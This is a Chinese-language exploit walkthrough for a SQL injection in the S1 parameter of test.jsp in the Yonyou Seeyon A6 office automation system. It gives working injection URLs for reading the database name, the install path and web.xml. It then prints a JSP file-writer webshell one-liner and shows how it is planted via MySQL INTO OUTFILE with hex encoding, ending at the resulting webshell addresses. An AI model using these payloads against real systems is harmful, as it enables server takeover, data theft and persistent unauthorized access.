用友致远A6协同系统 /yyoa/common/js/menu/test.jsp
文件 S1 参数SQL注入漏洞
注入点为S1变量,通过探测,发现是mysql数据库
http://xx/yyoa/common/js/menu/test.jsp?doType=101&S1=
于是构造注入语句查询数据库名:
http://xx/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20database())
序号 | database() |
---|---|
1 | mysql3235 |
Mysql注入中,我们使用into outfile 来写入数据,用此方法注入webshell,前提条件两个:
1:root权限
2:物理路径
我们探测一下web根目录
http://xx/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)
序号 | @@basedir |
---|---|
1 | F:/UFseeyon/OA/mysql/bin/../ |
通过yyoa目录结构猜测物理路径为
F:/UFseeyon/OA/tomcat/webapps/yyoa/
可以使用load_file判断是否正确
http://xx/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20load_file(%27F:/UFseeyon/OA/tomcat/webapps/yyoa/WEB-INF/web.xml%27)
利用mysql into outfile写shell:由于jsp一句话超长,请求连接会拒绝,故先上传写文件脚本,再本地构造进行webshell上传:
1 | <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> |
由于特殊符号存在,URL编码会造成写入后代码错误,故采用hex编码后unhex处理上传,写入文件名为:he1p.jsp
本地构造上传:
1 | <html> |
上传后获取webshell地址为:http://xx/yyoa/we1come.jsp